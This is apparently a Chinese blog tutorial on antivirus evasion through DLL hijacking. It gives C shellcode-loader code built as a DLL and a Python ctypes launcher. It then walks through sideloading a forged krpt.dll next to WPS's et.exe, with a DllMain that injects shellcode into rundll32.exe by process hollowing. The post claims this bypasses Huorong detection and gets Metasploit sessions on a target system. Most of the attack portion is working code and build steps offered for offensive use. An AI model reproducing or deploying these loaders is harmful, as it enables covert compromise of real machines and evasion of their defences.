免杀对抗-DLL劫持免杀

C&Py-DLL劫持-语言-调用加载

1.使用visual studio创建项目

2.将文件名重命名为.c后缀

3.将如下加载器代码生成dll文件

加载器代码:

cpp 复制代码
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

unsigned char buf[] =生成的shellcode;
int main()
{
char* Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}

生成成功

4.msf开启监听

5.使用python执行如下代码,调用dll文件

dll.py

from ctypes import *

#利用python载入dll文件

lib=CDLL('生成的dll文件路径')

#调用dll文件内置方法函数

lib.main()

执行成功,msf成功上线

6.使用打包器将dll.py文件打包成exe,执行成功上线

C&C++-DLL劫持-白加黑-导出编译

1.随便选中一个exe程序运行,使用火绒剑查看这个exe程序在运行时加载的dll文件

这里选择的是wps中的et.exe程序,运行发现加载了一个krpt.dll文件

2.使用Dependencies工具对krpt.dll进行反编译

3.右键导出krpt.dll源码

4.使用visual studio 创建一个新项目。项目名称右键------打开项目位置------将反编译的dll源码复制进去。

5.选中dll源码拖入项目,工具就会自动加载源码

6.打开asm文件,将所有的jmp语句删除

7.根据文件中的教程,选中文件------右键属性------如下图修改------点击应用。

配置时注意:

配置:选择所有配置

平台:选择所有平台

8.根据教程------继续打开asm文件的属性进行配置

9.项目名称------右键属性------c/c++------代码生成------运行库------多线程(/MT)

10.预编译头------不使用预编译头

11.链接器------调试------生成调试信息------否

12.在.c文件中添加如下一行代码

13.打开.cpp文件,写入shellcode加载代码(可任意)

如:

cpp 复制代码
#include "framework.h"
#include "krpt.h"
#include "windows.h"

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{

unsigned char hexData[] = "生成的shellcode";

char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);
memcpy((void*)v7A, hexData, _countof(hexData));
struct _PROCESS_INFORMATION ProcessInformation;
struct _STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;
DWORD DwWrite = 0;
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
if (result)
{
Context.ContextFlags = 65539;
GetThreadContext(ProcessInformation.hThread, &Context);
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);
Context.Eip = (DWORD)v24;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
result = CloseHandle(ProcessInformation.hProcess);
}

TerminateProcess(GetCurrentProcess(), 0);
};

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

成功生成dll文件

14.将生成的dll文件改名位krpt.dll和et.exe一起上传到目标系统

运行et.exe,成功绕过火绒检测,msf成功上线

相关推荐
大方子18 分钟前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha2 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络3 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd5 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你9 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha1 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1191 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20251 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec1 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用1 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云